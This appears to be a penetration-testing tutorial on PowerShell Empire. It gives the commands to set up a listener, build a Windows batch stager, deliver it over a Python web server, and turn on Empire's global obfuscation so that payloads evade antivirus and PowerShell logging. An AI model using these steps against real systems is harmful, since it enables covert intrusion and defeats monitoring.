Defense Evasion with obfuscated Empire

In this article, we will learn the technique of Defence Evasion using the PowerShell Empire. PowerShell Empire is one of my favorite Post Exploitation tools and it is an applaudable one at that.

Table of Contents:

·         Installation

·         Getting a session with Empire

·         Obfuscating with Empire

Installation

When evading all the target defenses with Empire, it is important to focus on installation. There are two methods to install Empire, obfuscating scripts would not work if you install Empire using apt install command. But this problem wouldn’t occur if you use the git clone command as shown in the image below.

git clone https://github.com/BC-SECURITY/Empire

The above command will download Empire on your system and to install it, use the following command:

cd Empire/

cd setup/

.install.sh

 

Getting a session with Empire

With the above commands, your Empire is downloaded and installed. Let us now get the Empire up and running and take a session of the target system. Once you start Empire, the first thing to do is to start a Listener. And to start a listener, use the set of following commands:

listeners

uselistener http

set Port 80

execute

 

The above commands will start a listener on port 80. Once the listener is active, we have to launch a stager. The stager that we are going to use in this article is of windows and is in batch language. To launch the stager, use the following set of commands:

back

usestager windows/launcher_bat

set Listener http

execute

 

Once your malware is ready, it will be stored in /tmp directory by default as you can see in the image above. To send this bat file to the target system, you can use python one-liner server or any other method you like. We used a python server for our this practical. To use the python server, type the following command in the directory where the file is saved like in our case it was /tmp directory:

python -m SimpleHTTPServer

 

Once the file is executed in the target system. You will get your session as it is shown in the image below. To access the session or agent (as per the Empire terminology) use the following commands:

agents

interact <agent name>

 

In the event viewer, you can go to the Applications and Services Logs > Microsoft > Windows > PowerShell > Operational and check the log made by the batch file from Empire as shown in the image below:

Obfuscating with Empire

Now, you can see in the image above that the log of the file gives proper detail of the malicious file. These details include the code of the file, where the file is stored, and other important details. These details, when readable by the system, makes it easy for the file to be detected. For successfully attacking the target, it is important to evade all the defenses put up by the target. And to do so, we will globally obfuscate the Empire and then create our malicious file. Obfuscating the Empire will mean all the malicious files that will be generated from Empire will be obscure i.e. they will be had to detect in the target system and will allow you to bypass the defense systems like antiviruses. To obfuscate the Empire, use the following command first:

preobfuscate

The above command will download all the scripts required for the obfuscation.

The command executed above takes a bit of time but if it allows us to be successful in our attack then little time is no problem and most importantly it is worth it. Once all the obfuscating scripts are downloaded, execute the following command:

set Obfuscate true

This command will initiate the obfuscating and all the stagers developed and agents created will be obfuscated, which you can see in the image below:

Now once the obfuscation is active, we will once again execute the listener as shown previously in this article and once the listener is up and running we will launch a stager with the following set of commands:

usestager windows/launcher_bat

set Listener http

execute

 

Similarly, like before, use the python server to deliver the malicious file to the target system.

Once the file is executed in the target system; you will get a new session as shown in the image below. To access the new agent, use the following commands:

agents

interact <agent name>

Now the session we have received is through obfuscation and we will confirm this by using Event Viewer. Follow the same path as earlier (Applications and Services Logs > Microsoft > Windows > PowerShell > Operational) in the Event Viewer to see the log created by our malicious file.  AS you can see in the image below, the details that the log has now is vague and confusing. This makes the file unreadable by the system and is successful in dodging defenses such as anti-viruses.

This way Obfuscated Empire can save you from getting caught in the target system. It is important to learn such techniques to glide by the defenses in the target system to test whether the defenses in the place are proper or not.